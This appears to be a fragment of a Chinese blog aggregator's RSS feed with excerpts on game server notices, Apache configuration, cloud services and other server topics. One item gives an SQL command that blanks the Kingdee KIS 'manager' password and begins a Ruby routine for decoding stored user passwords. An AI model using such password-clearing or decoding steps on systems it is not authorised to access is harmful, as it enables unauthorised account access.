帮会在帮会联赛甲、乙组中取得名次。&#xA;b) 回归玩家完成日常活动的活跃程度。&#xA;3) 活动结束时，合服后的服务器将继承积分最高的服务器的名称。&#xA;4) 回归玩家将获得带有服务器名的专属称号，分享合服比拼战况也会获得独有称号。&#xA;5) 其他特殊情况：&#xA;a) 合服后第一周，服务器名称将由系统临时指定。正式服务器名将于次周更新后生效。&#xA;b) “超级大服”合服后，不会开启合服比拼活动，仍按原规则由帮会联赛积分决定命名。&#xA;c) 合服投票失败3次及以上的服务器，在强制合服后，会开启新的合服命名活动。&#xA;7. 皇宋国库上新：扶摇、冥鹿回归!&#xA;1) 开启时间：周六、周日和下周一(3月30日-4月1日)的12:00-23:00。</description>
    </item>
    <item>
      <title>王者荣耀维修服务器5月7日,《王者荣耀》5月7日体验服停机更新公告</title>
      <link>https://bchobby.github.io/posts/e37428f215e6951b94ab3ccaf94bd3db/</link>
      <pubDate>Thu, 12 Aug 2021 05:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e37428f215e6951b94ab3ccaf94bd3db/</guid>
      <description>亲爱的召唤师：&#xA;为了增加版本的稳定性，我们计划在 2021年5月7日21:00-22:00对《王者荣耀》体验服进行停机维护。&#xA;【更新时间】5月7日21:00-22:00(20:30关闭PVP)&#xA;【更新方式】停机更新&#xA;【更新范围】王者荣耀修炼之地体验服&#xA;【下载地址】&#xA;体验服更新完毕后，您打开王者荣耀-体验服客户端即可直接进行自动更新！&#xA;若您无法进行自动更新，可以通过王者荣耀修炼之地体验服专区，下载最新的体验服客户端。&#xA;【更新内容】&#xA;英雄调整&#xA;体验服的英雄调整公告将直接对比正式服配置进行描述，但并非所有调整都将上线正式服&#xA;测试版本不代表最终品质，请召唤师们多多理解。&#xA;梦奇&#xA;被动：质量增加物理、法术防御：130(+38/Lv)→80(+35/Lv)&#xA;一技能：护盾量：250(+50/Lv)(+1.2Ad)→175(+35/Lv)(+1.5Ad)&#xA;二技能：冷却时间：8(-0.6/Lv) → 8(-0.2/Lv)&#xA;三技能：冷却时间：20(-2.5/Lv)→25(-2.5/Lv)&#xA;问题修复&#xA;1、修复了梦奇二技能强化球对抗方看不见的问题；&#xA;2、修复了关羽冲锋姿态下普攻无法暴击的问题；&#xA;3、修复了杨戬在部分情况下一技能印记被清除后仍可刷新CD的问题；&#xA;4、修复了百里玄策偶现2技能回收时命中但无法捆绑住敌人的问题；</description>
    </item>
    <item>
      <title>信息系统服务器数量设置,《系统下服务器设置与优化.doc</title>
      <link>https://bchobby.github.io/posts/53f3579a1ebdd260851df1b68d0e9233/</link>
      <pubDate>Thu, 12 Aug 2021 05:19:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53f3579a1ebdd260851df1b68d0e9233/</guid>
      <description>《系统下服务器设置与优化&#xA;Linux系统下Apache服务器设置与优化&#xA;Apache服务器的设置文件位于/usr/local/apache/conf/目录下，传统上使用三个配置文件httpd.conf,access.conf和srm.conf，来配置Apache服务器的行为。 httpd.conf提供了最基本的服务器配置，是对守护程序httpd如何运行的技术描述；srm.conf是服务器的资源映射文件，告诉服务器各种文件的MIME类型，以及如何支持这些文件；access.conf用于配置服务器的访问权限，控制不同用户和计算机的访问限制；这三个配置文件控制着服务器的各个方面的特性，因此为了正常运行服务器便需要设置好这三个文件。&#xA;除了这三个设置文件之外，Apache还使用mime.types文件用于标识不同文件对应的MIME类型， magic文件设置不同MIME类型文件的一些特殊标识，使得Apache 服务器从文档后缀不能判断出文件的MIME 类型时，能通过文件内容中的这些特殊标记来判断文档的MIME类型。&#xA;[iaspec@www conf]$ pwd&#xA;/usr/local/apache/conf&#xA;[iaspec@www conf]$ ls&#xA;access.conf httpd.conf.OLD magic.default srm.conf&#xA;access.conf.default httpd.conf.SAVE mime.types srm.conf.default&#xA;httpd.conf magic mime.types.default&#xA;新版本的Apache将原来httpd.conf、srm.conf与access.conf中的所有配置参数均放在了一个配置文件httpd.conf中，只是为了与以前的版本兼容的原因(使用这三个设置文件的方式来源于NCSA-httpd)，才使用三个配置文件。而提供的access.conf和srm.conf文件中没有具体的设置。&#xA;由于在新版本的Apache中，所有的设置都被放在了httpd.conf中，因此只需要调整这个文件中的设置。本文基于redhat 7.2 下的httpd.conf为例，解释Apache服务器的各个设置选项，当然，其配置方法可扩展到几乎所有unix系统。&#xA;虽然Apache提供设置的参数很多，基本上这些 参数都很明确，也可以不加改动运行Apache服务器。但如果需要调整Apache服务器的性能，以及增加对某种特性的支持，就需要了解这些设置参数的含义。&#xA;需要指出的是，除了操作系统的性能调整之外，Apache 服务器本身的缺省配置绝不是最优化和最高效的，而是要适应几乎所有种类操作系统、所有种类硬件下的设置，多平台的软件不可能为特定平台和特定硬件提供最优化的缺省配置。因此要使用Apache的时候，性能调整是必不可少的。&#xA;本文目录快速访问：&#xA;httpd.conf基本配置与性能优化的关系&#xA;另外一些加速方法&#xA;附录一、采用 mod_gzip 加速Apache&#xA;httpd.conf基本配置与性能优化的关系&#xA;httpd.conf中首先定义了一些httpd守护进程运行时需要的参数，来决定其运行方式和运行环境。 下面就httpd.conf中的配置参数的定义及其各种配置、优化方法进行逐项说明：&#xA;(优化没有捷径，必须首先清楚各配置的含义)&#xA;ServerType standalone&#xA;ServerType定义服务器的启动方式，缺省值为独立方式standalone，httpd 服务器将由其本身启动，并驻留在主机中监视连接请求。在Linux下将在启动文件 /etc/rc.d/rc.local/init.d/apache中自动启动Web服务器，这种方式是推荐设置。&#xA;启动Apache服务器的另一种方式是inet方式，使用超级服务器inetd监视连接请求并启动服务器。当需要使用inetd启动方式时，便需要更改为这个设置，并屏蔽/etc/rc.d/rc.local/init.d/apache文件，以及更改/etc/inetd.conf并重起inetd，那么Apache就能从inetd中启动了。&#xA;两种方式的区别是独立方式是由服务器自身管理自己的启动进程，这样在启动时能立即启动服务器的多个副本，每个副本都驻留在内存中，一有连接请求不需要生成子进程就可以立即进行处理，对于客户浏览器的请求反应更快，性能较高。而 inetd方式要由inetd发现有连接请求后才去启动http服务器，由于inetd 要监听太多的端口，因此反应较慢、效率较低，但节约了没有连接请求时Web服务器占用的资源。因此inetd方式只用于偶尔被访问并且不要求访问速度的服务器上。事实上inetd方式不适合http的突发和多连接的特性，因</description>
    </item>
    <item>
      <title>原神改文件换服务器,原神官服和b服怎么切换</title>
      <link>https://bchobby.github.io/posts/e7f11016ba26555becee18f42848c697/</link>
      <pubDate>Thu, 12 Aug 2021 04:27:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7f11016ba26555becee18f42848c697/</guid>
      <description>游戏原神中，下一个客户端，而能登录多个服务器，原理是b服和官服，渠道服的配置文件游戏内容相同，只有登录的接口不同，通过改参数来切换接口，达到不同服务器互相登录的效果，手机也可使用。&#xA;详细答案：&#xA;今天教一下如何只下一个客户端，而能登录多个服务器，原理是b服和官服，渠道服的配置文件游戏内容相同，只有登录的接口不同，通过改参数来切换接口，达到不同服务器互相登录的效果，手机也可使用。&#xA;1.准备一个下载好的客户端：&#xA;2.在客户端安装路径找到文件config.ini文件。如找不到可在右上角搜索。&#xA;3.找到配置文件后以记事本格式打开。&#xA;4.打开后如下。&#xA;5.修改其中参数。&#xA;例如：我现在为官服客户端 所以 红框内数据如图所示 我要修改为b服客户端，登录b服账号。只需将mihoyou修改为bilibili&#xA;将第三行1改为14将第四行1改为0 改完如图。&#xA;6.点击保存，启动游戏客户端，这个时候你会发现你的客户端变为了b服客户端。&#xA;当想要修改回官服或者渠道服时只需改回对于位置字符即可改变客户端属性。&#xA;7.手机修改&#xA;手机修改只需要手动把配置文件夹的名字改变com.miHoYo.Yuanshen改变为com.miHoYo.ys.bilibil即可修改成功。&#xA;手机需要下载两个初始端，也就是刚开100多M的安装。安装完成后会在桌面产生图标，右下角符号不同。选择其中一个下载好资源之后&#xA;，关闭客户端，找到com.miHoYo.ys.bilibili或com.miHoYo.ys.Yuanshen(有六个G文件的那个)，将其改为你需要的客户端名称(com.miHoYo.ys.bilibili或com.miHoYo.ys.Yuanshen&#xA;)。如果有多个com.miHoYo.ys.bilibili/Yuanshen的文件夹，则删掉没有资源的只留下有资源的。点击桌面对应图标启动即可。</description>
    </item>
    <item>
      <title>金蝶商贸版密码服务器没显示,金蝶KIS商贸版无损解密用户密码</title>
      <link>https://bchobby.github.io/posts/308903e094501029f2f6411e9858c29c/</link>
      <pubDate>Thu, 12 Aug 2021 04:23:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/308903e094501029f2f6411e9858c29c/</guid>
      <description>金蝶KIS商贸版的密码忘记了,有人说可以&#xA;update t_user set fsid=null where fname=&#39;manager&#39;&#xA;来清除密码&#xA;看了一下密码明文,觉得比较有规律,写了一个无损解密程序&#xA;#= 金蝶KIS商贸版密码解密&#xA;class KisDecode&#xA;def self.decode(s)&#xA;s1 = s[&#34;) F \&#34;, ,P T #8 *P!D &amp;amp;D 80!N &amp;amp;@ &amp;lt;0 C &#39;&amp;lt; : !M &amp;amp;4 )0&#34;.size..-1]&#xA;index = 0&#xA;s2 = []&#xA;while index&#xA;s2 &amp;lt;&amp;lt; s1[index..index+7]&#xA;index+=8&#xA;end&#xA;ret = &#34;&#34;&#xA;s2.each do |seg|&#xA;a1 = seg[0..1]&#xA;ret &amp;lt;&amp;lt; ((a1[0]*64 + a1[1] - 2080 )/(4**0)).chr if a1=~/\S/&#xA;a2 = seg[3..4]</description>
    </item>
    <item>
      <title>竞技之王为什么会显示服务器连接失败,游戏王决斗链接登不进去怎么办 2月25日没发现网络解决方法[多图]...</title>
      <link>https://bchobby.github.io/posts/5fa6f7fa1ea6c610e1d82ae05f3f24c0/</link>
      <pubDate>Thu, 12 Aug 2021 04:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fa6f7fa1ea6c610e1d82ae05f3f24c0/</guid>
      <description>游戏王决斗链接登不去怎么办，目前大家一直报错无法连接网络，这个原因大概率是服务器的问题，下面为大家分享游戏王决斗链接2月25日无法连接网络解决方法。&#xA;游戏王决斗链接2月25日无法连接网络解决方法&#xA;本次大家进不去游戏是因为服务器炸了，官方也没有发布公告，具体的原因还要耐心等待，估计又钻石补偿了。&#xA;小时候也看动漫也玩牌，先说一下小时候玩牌的感受吧。&#xA;和小伙伴们一开始也是玩自己喜欢的牌，后来渐渐的有小伙伴开始用起了：魔法筒、镜壁、反射光、尿壶、死者苏生、变心、雷击、巨大化、血的代价，各种恶心卡牌，战斗阶段还没开始，场上的怪兽就归西了，当时能集齐这一套卡牌，可以说是当地的名人了。&#xA;后来为了对付这种局面，小伙伴们开始组起了针对魔法陷阱的卡组：大风暴、龙卷风、羽毛扫、飓风等等，一套下来，大家又回到了拼怪兽的局面，所以当时大伙儿都挑选四星1850攻以上的怪作为卡组核心，1850以下哪怕效果描述再厉害也是放起来吃灰(因为根本用不着效果就被战破了，当然除黄泉渡船和异次元战士这类怪兽)。&#xA;最后甚至大家玩起了神和奥利哈刚三结界(小伙伴们逐渐黑化哈哈)，可怜的怪兽们依旧无法顺利进入战斗阶段。&#xA;之前有小伙伴曾花巨资凑齐了亚马逊卡组，结果玩了三次就再也不拿出来了(墓地都快堆满了，战斗也打不出几场)，成为了各种断头台的玩物。&#xA;现在终于可以在手机里玩，找回了动漫里的感觉，一直不怎么玩排位，当成单机来玩，没事时也和朋友开个黑。&#xA;排位里出牌慢，动不动就是飞镖和镜壁，和当年小时候玩魔法筒反射光时的感觉一样，只要有那卡就厉害。&#xA;希望官方给我们这些集卡养老的玩家多一点交换券福利，别什么都放到排位里，只想慢慢凑齐人物卡组，那个魔法筒反射光的时代已经过去了，这么多年了，再找回这卡牌游戏真的不容易。&#xA;曾经和小伙伴斗卡组时，有时真的有一种冲动：&#xA;那就是：我召唤我的拳头，对你的脸进行直接攻击。(哈哈)</description>
    </item>
    <item>
      <title>查看系统本地dns服务器地址,小编为你win10系统查看本地DNS服务器地址的解决办法...</title>
      <link>https://bchobby.github.io/posts/e5c6b8f09e0f3fb5794c74bbe4e8834b/</link>
      <pubDate>Thu, 12 Aug 2021 03:13:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5c6b8f09e0f3fb5794c74bbe4e8834b/</guid>
      <description>win10 32位系统是大家最早使用的电脑系统，却有很多人在操作中大概会遇到对win10系统查看本地DNS服务器地址进行解答的场景。许许多多的体验者计算机技术还是初学阶段，面对win10系统查看本地DNS服务器地址的情况，不懂怎样搞定。大多数客户都来和小编商榷win10系统查看本地DNS服务器地址需怎样解决？的确我们遵守以下规则1、点击开始按钮，打开开始菜单，然后再点击展开Windows系统，随后找到并点击“命令提示符”。 2、在命令提示符窗口，输入ipconfig /all后按回车键，在随后检测结果中，找到“DNS服务器”，后面的内容就是本地DNS服务器地址。这样的步骤就可以了；下面小编带领大家看看win10系统查看本地DNS服务器地址具体的操作方法：&#xA;具体如下：&#xA;1、点击开始按钮，打开开始菜单，然后再点击展开Windows系统，随后找到并点击“命令提示符”。&#xA;2、在命令提示符窗口，输入ipconfig /all后按回车键，在随后检测结果中，找到“DNS服务器”，后面的内容就是本地DNS服务器地址。&#xA;Windows10系统查看本地DNS服务器地址的方法就为大家介绍到这里了。&#xA;以上就是解决win10系统查看本地DNS服务器地址的操作方法方法还是很简单的，如果还有不清楚的可以参考以上的教程，相信可以帮助到大家。</description>
    </item>
    <item>
      <title>游戏服务器维护很烦人,只有游戏玩家才知的十大烦恼 想玩游戏服务器挂了</title>
      <link>https://bchobby.github.io/posts/363bd0fd48b1a403a5ae10e3702e79e6/</link>
      <pubDate>Thu, 12 Aug 2021 02:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/363bd0fd48b1a403a5ae10e3702e79e6/</guid>
      <description>玩游戏通常被认为是一种可以放松身心的给我们带来乐趣的活动，它可以让我们从烦闷的现实生活中脱离出来，让我们沉浸其中成为一个完全不同的自己，对吧？大多数情况下，这么说是对的，但是生活总是喜欢跟我们开点小玩笑，它有时也会给你或者你周围的人带来一些烦恼，让本来美好的游戏变得带了点瑕疵。我们中几乎所有的人都或多或少的体验过这些烦恼。&#xA;是的，我们是很幸运的，我们生活在这样的一个世界里，电视上放着的那个黑色的盒子给我们带来了一些烦恼有时让我们热火，但是我们在它那里投入了大量的经历和时间，这些一点一滴的东西已经积累成为了你生活中一个不可忽视的部分。不管这成为了你游戏伙伴犯小错误的原因，还是在你想要拥有自己大规模游戏收藏的过程中给你带来了财政危机，或是你最近玩一款游戏时的表现给你的现实生活带来了压力，我们下面所要说到的10个烦恼，是只有游戏玩家才懂得的。&#xA;还有没有什么游戏中的烦恼被我们遗漏了吗？或者这些烦恼有什么好的解决办法吗？跟我们一起讨论吧！&#xA;10.你的朋友和你买了不同的游戏主机&#xA;如果你有一个很稳定的朋友圈，你总会遇到几次这样的情况：很久以来你们都拥有着相同的游戏主机，你们交换游戏，一起玩在线游戏。终于有一天他们受够了这种状态，投靠到了另一家死对头的游戏平台。&#xA;对于以前的几代游戏来说，XBOX 360比PS3提供了更优越的在线游戏网络设施，更吸引那些热衷于社交的游戏玩家，许多人因此能更深刻地体会到这一点。当你的朋友们一点心理准备都不给你就投入到另一个游戏主机的怀抱时，你仿佛感觉你们友谊中的某一个小部分走到了尽头，因为你知道就算只是连个网络那么简单，自己也是不会和他们一起在这种游戏上耗费时间的。&#xA;当然，朋友们投入其他游戏主机阵营的原因多种多样，而且我们似乎也不需要非要有朋友一起玩才能觉得一个游戏有意思，但是不得不承认，有的时候朋友的确可以给你的游戏过程带来很多愉快的体验，而且通过这些游戏，你现实生活中找到了更多的话题。&#xA;9.到11月底就变穷&#xA;如果你是个游戏玩家，那么对你来说“Summer drought(伏旱)”和干旱可就没什么关系了。游戏玩家们有充足的时间为10月和11月要到来的“榨干钱包”活动做好准备。一大批游戏会在每年的这个时候发行上市。&#xA;单说说今年的游戏阵容吧，《超级马里奥兄弟》、《异形：隔离》、《驾驶俱乐部》、《NBA 2K15》、《无主之地：前奏》、《恶灵附身》、《猎天使魔女2》、《日落过载》、《WWE 2K15》、《使命召唤：现代战争》、《刺客信条：大革命》、《光晕：士官长收藏版》、《飙酷车神》、《魔兽世界：军阀德拉诺》、《梦陨篇章:无尽的旅程》、《龙腾世纪：审判》、《孤岛惊魂4》、《小小大星球3》，哇哦，简直太棒！&#xA;就算你只对这个清单里三分之一的游戏有兴趣，这也不是个小数目了，所以一点都不用惊讶于游戏玩家们在11月底的时候就把钱画的干干净净的了。你问我们的建议吗？你要是真想入手几款游戏，那你还真就得提前做好预算，并且在这个夏天结束的时候结算清(或者至少把这笔钱存到另一张银行卡里，这样你就不用借钱去买圣诞礼物了)哎，对于游戏玩家来说，生活是如此的艰难！&#xA;8.没办法暂停在线游戏&#xA;当你的父母或者女朋友在你正打着一个非常重要的副本时，想和你进行一次非常“重要的”谈话，你就更能深刻地体会到这种无力感了，你根本没办法暂停游戏，而且你也知道这场战役很可能无法在45分钟之内就结束。&#xA;尽管非游戏玩家可能渐渐地越来越了解到数字媒体的网络化趋势，但是给父母解释不是所有的游戏都可以立刻暂停这件事仍然不是那么容易：如果这是款在线游戏，那么网络世界里的时间和现实世界里的时间就是平行的，不能停下来等任何人。&#xA;一般情况下，父母是根本不能理解我们这种情况的，他们仍然会粘着你要和你不停的说下去，而不是放过你让你安心的打完游戏之后再和他们谈。当然了，如果真的是挺紧急的事情，他们打断我们也无可厚非，可是要是那种今天在商店里遇到的什么人什么事的小琐事，我们根本就不感兴趣啊！他们这么做只是在打断我们的游戏。&#xA;要我们解释清这种事真是太难了，要我说实在不行就只有一个办法了：快撤吧有多远躲多远！</description>
    </item>
    <item>
      <title>ftp服务器 解压文件,ftp服务器解压zip</title>
      <link>https://bchobby.github.io/posts/e04338c0edf77a85b2f3d095e5cab77d/</link>
      <pubDate>Thu, 12 Aug 2021 01:10:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e04338c0edf77a85b2f3d095e5cab77d/</guid>
      <description>ftp服务器解压zip 内容精选&#xA;换一换&#xA;如果系统中有共享目录或者文件系统，建议将IOR上传并安装在共享目录或文件系统中。如果系统中有共享目录或者文件系统，建议将IMB上传并且安装在共享目录或者文件系统中。cd /homeunzip ior-master.zipcd /home/ior-master./bootstrap./configuremake allcd srcls&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;ftp服务器解压zip 相关内容&#xA;简要介绍Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。语言：Java一句话描述：企业级搜索应用服务器开源协议：Apache建议的版本建议使用版&#xA;使用弹性云服务器或者外部镜像文件创建私有镜像时，必须确保操作系统中已安装PV driver，使新发放的云服务器支持XEN虚拟化，同时也可以提升云服务器的I/O处理性能、实现对云服务器硬件的监控和其他高级功能。如果不安装PV driver，云服务器的网络性能很差，并且安全组和防火墙也不会生效。因此，请您务必安装。使用公共镜像创建的云服务器默&#xA;ftp服务器解压zip 更多内容&#xA;本章节主要介绍下载并解压obsutil_adapter.zip软件包的操作。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;为了保证使用镜像创建的裸金属服务器可以实现一键式密码重置功能，建议您在制作镜像时安装重置密码插件“Cloud-reset-pwd Agent”。如果您需要卸载该插件，可参考卸载方法进行卸载。一键式重置密码插件暂不支持鲲鹏服务器。需保证虚拟机根目录可写入，且剩余空间大于600MB。下载一键式重置密码插件CloudResetPwdAgent.&#xA;Linux x86-64(64位)服务器，常见的有EulerOS、Ubuntu、Debian、CentOS、OpenSUSE等。Windows 7及以上版本。请参见JRE地址下载JRE。Linux服务器安装请参考如下步骤：使用root用户，进入/opt目录。cd /opt创建目录“jre”。mkdir -p jre设置JDK安装目录的权限&#xA;cd/path/to/GSL&amp;amp;&amp;amp; tar -zxf gsl-2.5.0.tar.gzcd gsl-2.5.0mkdir buildcd build../configure --prefix=/path/to/GSLmake -j 32make install&#xA;cd/path/to/EIGEN&amp;amp;&amp;amp; tar -zxf eigen-3.3.8.tar.gzcd eigen-3.3.8mkdir buildcd buildcmake -DCMAKE_INSTALL_PREFIX=/path/to/EIGEN ..make install&#xA;由于Windows操作系统采用ide磁盘和virtio网卡，因此需要在注册为云平台的镜像前，先在Windows操作系统的ISO文件中集成VMTools驱动。由于ISO通常是将光盘文件做成一个文件，而部分光盘软件设定只能从光驱进行安装，直接解压后无法使用，因此需要用到虚拟光驱软件。本节操作以使用Dism++为例，介绍如何为ISO文件安装VM&#xA;下载安装包。下载链接：https://mirrors.huaweicloud.com/kunpeng/archive/kunpeng_solution/database/patch/benchmarksql5.0-for-mysql.zip安装JDK。参考《MySQL 8.0.17 移植指南(CentOS 7.6)》中配置本地yum源并挂&#xA;安装DIS Logstash Plugin有在线和离线安装两种方式：离线安装需要获取插件包并执行安装脚本。已安装PuTTY工具。cd ${LOGSTASH_HOME}unzip dis-logstash-plugins-X.X.X.zipcd logstash-pluginsbash install.sh –p ${LOGSTASH_HO&#xA;安装X722板载网卡驱动软件包，使裸金属服务器支持在v5服务器上下发。其他类型服务器可跳过此步骤。本文以Windows Server 2016为例，Windows Server 2012 R2与之类似。解压缩准备工作中的“onboard_driver_win2k16.</description>
    </item>
    <item>
      <title>汽车厂家系统服务器费用,汽车vps费用</title>
      <link>https://bchobby.github.io/posts/fca8ab5d500687f28f4b91a6277b56e1/</link>
      <pubDate>Thu, 12 Aug 2021 00:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fca8ab5d500687f28f4b91a6277b56e1/</guid>
      <description>汽车vps费用 内容精选&#xA;换一换&#xA;华为云术语，为用户提供华为云基本概念说明，帮助您快速上手使用华为云服务。&#xA;计费项包括云服务器备份功能、数据库服务器备份功能、备份存储和备份跨区域复制。云服务器备份功能：备份未部署数据库的云服务器时购买，提供崩溃一致性备份，保证云服务器下多个磁盘的数据在同一时间点产生备份。数据库服务器备份功能：备份部署了数据库的云服务器时购买，提供应用一致性备份，保证备份时数据库事务的一致性。备份存储：备份数据使用存储空间的费用&#xA;汽车vps费用 相关内容&#xA;OBS服务的收费标准请参考产品价格详情中“对象存储服务OBS”的内容。CSBS服务的收费标准请参考产品价格详情中“云服务器备份”的内容。CBR服务的收费标准请参考产品价格详情中“云备份CBR”的内容。EVS服务的收费标准请参考产品价格详情中“云硬盘”的内容。&#xA;主机迁移服务本身不收费，但是在迁移过程中会产生少量其他服务费用：云硬盘费用在迁移期间，每个迁移任务会在目的端服务器临时创建并挂载一个容量为40GB的EVS卷，迁移完成后会释放此EVS卷。迁移期间，请勿删除此EVS卷，否则会导致迁移失败。有关云硬盘的收费标准，请参见云硬盘价格说明。比如迁移使用高IO磁盘，迁移持续了10个小时，那么产生的云硬&#xA;汽车vps费用 更多内容&#xA;OBS服务的收费标准请参考产品价格详情中“对象存储服务OBS”的内容。CSBS服务的收费标准请参考产品价格详情中“云服务器备份”的内容。CBR服务的收费标准请参考产品价格详情中“云备份CBR”的内容。EVS服务的收费标准请参考产品价格详情中“云硬盘”的内容。&#xA;主机迁移服务本身不收费，但是在迁移过程中会产生少量其他服务费用：云硬盘费用在迁移期间，每个迁移任务会在目的端服务器临时创建并挂载一个容量为40GB的EVS卷，迁移完成后会释放此EVS卷。迁移期间，请勿删除此EVS卷，否则会导致迁移失败。有关云硬盘的收费标准，请参见云硬盘价格说明。比如迁移使用高IO磁盘，迁移持续了10个小时，那么产生的云硬&#xA;包年/包月的计费模式也称为包周期计费模式，是一种预付费方式，按订单的购买周期计费，适用于可预估资源使用周期的场景，价格比按需计费模式更优惠。“包年/包月”的弹性云服务器创建后不能删除，如需停止使用，请在弹性云服务器列表页，单击“操作”列下的“更多 &amp;gt; 退订”，执行退订操作。在创建弹性云服务器时购买的系统盘，卸载后，如果继续作为系统盘使用，&#xA;存储容灾服务只收取使用SDRS的费用，不包含ECS、EVS等被保护资源的费用。存储容灾服务按照保护实例个数和使用时长，按小时收费相应的费用。SDRS支持按需计费和资源包计费两种计费方式，详细信息请参考产品价格详情。按需计费：单个保护实例收取的费用=使用时长(小时)*单位价格资源包计费：类似手机的流量套餐，单个资源包每个月包含744小时总可&#xA;如果OBS桶和所调用服务的API服务器在同一个region下，从OBS桶中读取图片不会产生流量消耗和收取相应费用。如果OBS桶和所调用服务的API服务器不在同一个region下，例如：OBS桶部署在上海一，图像标签API服务器部署在北京一，从OBS桶中读取图片会产生流量消耗和收取相应费用。&#xA;oVirt和KVM解决方案是TaiShan 200服务器和开源Ovirt、KVM组合解决方案，此方案解决oVirt虚拟化软件在TaiShan服务器上适配的问题。oVirt是一个开源虚拟化管理平台，它允许从具有独立于平台访问的Web的前端集中管理虚拟机、计算、存储和网络资源。主要组件元素包括oVirt Engine、VDSM、基于KVM的虚&#xA;按需计费模式下用户先使用云服务，使用后云服务按照固定周期上报使用量到计费系统进行结算，按需计费模式产品根据使用量类型(如云主机按时长计费)的不同，分为按小时、按天、按月三种周期进行结算，具体扣费规则请参见按需产品周期结算说明。示例：按小时结算的云主机在8:30删除资源，但是8:00~9:00期间产生的费用，通常会在10:00左右才进行扣费&#xA;您需要将编译后的可执行文件拷贝到目标服务器，并构造相关输入数据，从而运行工程。对于本文档的应用示例，查看$HOME/tools/projects/Custom_Engine/main.cpp中所需输入数据如下所示：以ascend用户登录DDK所在服务器。执行如下命令，拷贝后的目录结构请见表1。cp -r $HOME/tools/proje&#xA;如果DDK和Atlas 200 DK Atlas 300不在同一服务器，请执行1~7。如果DDK和Atlas 200 DK Atlas 300在同一服务器，请直接以root用户在“工程目录下/run/out”目录下执行7。mkdir fasterrcnn_vgg16scp -rDDK安装目录/projects/modify_graph&#xA;该章节通过一个简单的基于分类网络的AI应用为例，带您体验通过命令行方式进行应用开发的大致流程。该样例通过输入一张yuv格式的图片，经过resnet18分类网络进行推理计算，得出图片的分类结果。具体实现过程请参考以下内容。mkdirDDK安装目录/projectsmkdir DDK安装目录/projects/Custom_Enginecp&#xA;弹性伸缩服务本身不收取费用，但伸缩组自动创建的按需付费实例需要支付相应的费用，实例的计费标准请参见计费说明。实例使用的弹性公网IP也需支付相应的费用。伸缩组进行缩容时，自动创建的实例会被移出伸缩组并删除，删除后将不再收取费用。而手动移入的实例只会被移出伸缩组，系统仍会收取该实例的使用费用。若您不再需要使用该实例，请自行在ECS页面进行退订</description>
    </item>
    <item>
      <title>http服务器可以禁止上传文件吗,是或否：服务器仍可以从相关的HTTP请求上载文件的同时发送HTTP响应吗？...</title>
      <link>https://bchobby.github.io/posts/acf444676995dcc582c98623492bbea6/</link>
      <pubDate>Wed, 11 Aug 2021 23:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acf444676995dcc582c98623492bbea6/</guid>
      <description>如果网站用户使用以下内容提交HTML表单：(1)发布方法；(2)多部分/表单数据编码；(3)较大的附件，服务器可以在不使用AJAX的情况下上传文件，并在文件上传完成之前发送服务器生成的HTTP响应吗？&#xA;太密了。因此，我写了一个例子来说明我的意思。假设有一个带有标题字段的图片上传表单。&#xA;File: Caption: 我想将标题存储在具有定义的数据库表中：&#xA;[files_table]&#xA;file_id [uniqueidentifier]&#xA;file_caption [varchar(500)]&#xA;file_status [int]&#xA;然后，我要将文件上传到/root/{unique-id}/filename.ext。&#xA;file_status映射到具有以下定义的C＃枚举：&#xA;enum FileUploadStatus{&#xA;Error = 0,&#xA;Uploading = 1,&#xA;Uploaded = 2&#xA;}&#xA;提交表单后，如果文件太大而无法在1秒钟内处理，我想向网页发送回一个响应，说当前正在上传。&#xA;我可以使用单个同步HTTP发布来执行此操作吗？&#xA;注意：很明显，我稍后会使用AJAX检查状态更新，但这不是这个问题要问的内容。 我专门询问发送响应后文件是否可以继续上传。</description>
    </item>
    <item>
      <title>网页登录共享文件服务器方案,文件共享方法、系统、浏览器及服务器技术方案...</title>
      <link>https://bchobby.github.io/posts/fafece5f955701c76351ecf59f40c645/</link>
      <pubDate>Wed, 11 Aug 2021 23:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fafece5f955701c76351ecf59f40c645/</guid>
      <description>【技术实现步骤摘要】&#xA;本专利技术涉及互联网&#xA;，尤其涉及一种文件共享方法、系统、浏览器及服务器。&#xA;技术介绍&#xA;目前，浏览器在实现网页分享时，通常采用的做法是:先打开网页，然后，在用户登录帐号后，再根据用户请求将此网页分享给好友，比如QQ好友、微信好友等，其业务可以涉及即时通讯、社交网络等多个渠道。现有的浏览器分享网页的方案存在以下缺点:1、在进行网页分享时，需要以帐号为前提，S卩:要实现网页内容分享，需要用户先登录帐号；2、网页分享只是一个单向的动作，即只能分享给单个好友，或者网页分享只是实现单一业务，即只能实现单个网页的分享，无法实现周边人的自由分享及批量分享；3、分享只是一个瞬间的动作，无法保存历史数据，从而无法查看曾经分享的内容。&#xA;技术实现思路&#xA;本专利技术实施例提供一种文件共享方法、系统、浏览器及服务器，旨在简化浏览器各种文件分享流程，提高文件分享的灵活性，促进文件内容流通。本专利技术实施例提出一种文件共享方法，包括:浏览器接收第一用户端发送的文件分享指令；将所述文件的访问相关信息携带在所述分享指令中发送至后台服务器；所述后台服务器依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在网段的文件内容共享池。本专利技术实施例还提出一种文件共享方法，包括:浏览器接收第一用户端发送的文件分享指令；将所述文件的访问相关信息携带在所述分享指令中发送至后台服务器；由所述后台服务器依据所述访问相关信息，判定所述第一用户端所在网段的文件内容共享池已建立时，将要分享的所述文件的地址放入已建立的所述第一用户端所在